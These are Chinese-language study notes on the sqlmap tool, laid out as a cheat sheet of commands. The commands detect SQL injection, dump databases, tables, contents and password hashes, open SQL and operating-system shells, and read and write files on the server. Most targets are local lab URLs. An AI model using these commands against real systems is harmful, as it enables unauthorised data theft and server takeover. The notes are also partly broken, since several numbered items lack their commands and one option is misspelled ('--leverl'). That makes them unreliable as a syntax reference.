天天看點

SQLMap的使用學習筆記SQLMap的使用學習筆記

SQLMap的使用學習筆記

基礎篇

1、判斷是否存在注入

2、 判斷文本是否存在注入

sqlmap.py -r desktop/1.txt //文本路徑,一般放在桌面直接掃描
           

3、查詢目前使用者下所有資料庫

4、擷取指定資料庫中的表名

5、擷取表中的字段名

6、擷取字段内容

sqlmap.py -u "http://127.0.0.1/sql1/union.php?id=1" -D dkeye -T user_info -C username,password --dump
           

7、擷取資料庫中所有的使用者(目前使用者有權限讀取包含所有使用者的表的權限時使用就可以列出所有管理使用者)

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1"  --users
           

8、擷取資料庫使用者的密碼(一般是mysql5加密----www.cmd5.com中解密)

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --passwords 
           

9、擷取目前網站資料庫的名稱和使用者名稱

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --current-db
sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --current-user
           

10、附加:判斷WAF的種類

sqlmap.py -u "http://xxx.com" --identify-waf --batch
           

進階篇

1、–leverl 5:探測等級,預設為1,為2時會自動測試http cookie,為3時測試http user-agent/referer

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --leverl 5
           

2、檢視是否為管理者權限

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --is-dba
           

3、列出資料庫管理者角色(有權限讀取所有使用者的表,僅僅适用于目前資料庫是Oracle的時候)

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --roles
           

4、僞造referer

--referer http://www.baidu.com
           

5、運作自定義的sql語句

sqlmap.py -u "http://127.0.0.1/sql1/nuion.php?id=1" --sql-shell
           

6、執行任意作業系統指令

--os-cmd --os-shell
           

7、從資料庫伺服器中讀取檔案

sqlmap.py -u "url" \ --file-read "C:/exaple.exe" -v 1
           

8、上傳檔案到資料庫伺服器中(将本地的test.txt檔案上傳到目标伺服器的C:/windows/temp下并重命名為hack.txt)

sqlmap.py -u "url" --file-write \ test.txt --file-dest "C:/windows/temp/hack.txt" -v 1
           

9、指定資料庫、任意User-Agent爆破、代理爆破

sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms=mysql     #指定其資料庫為mysql
sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy=PROXY    #使用代理進行爆破
-p username  #指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測
           

超進階

tamper繞過腳本的編寫,官方自帶53個,但遠遠不夠,這裡就不往下寫了,多讀書多用就好了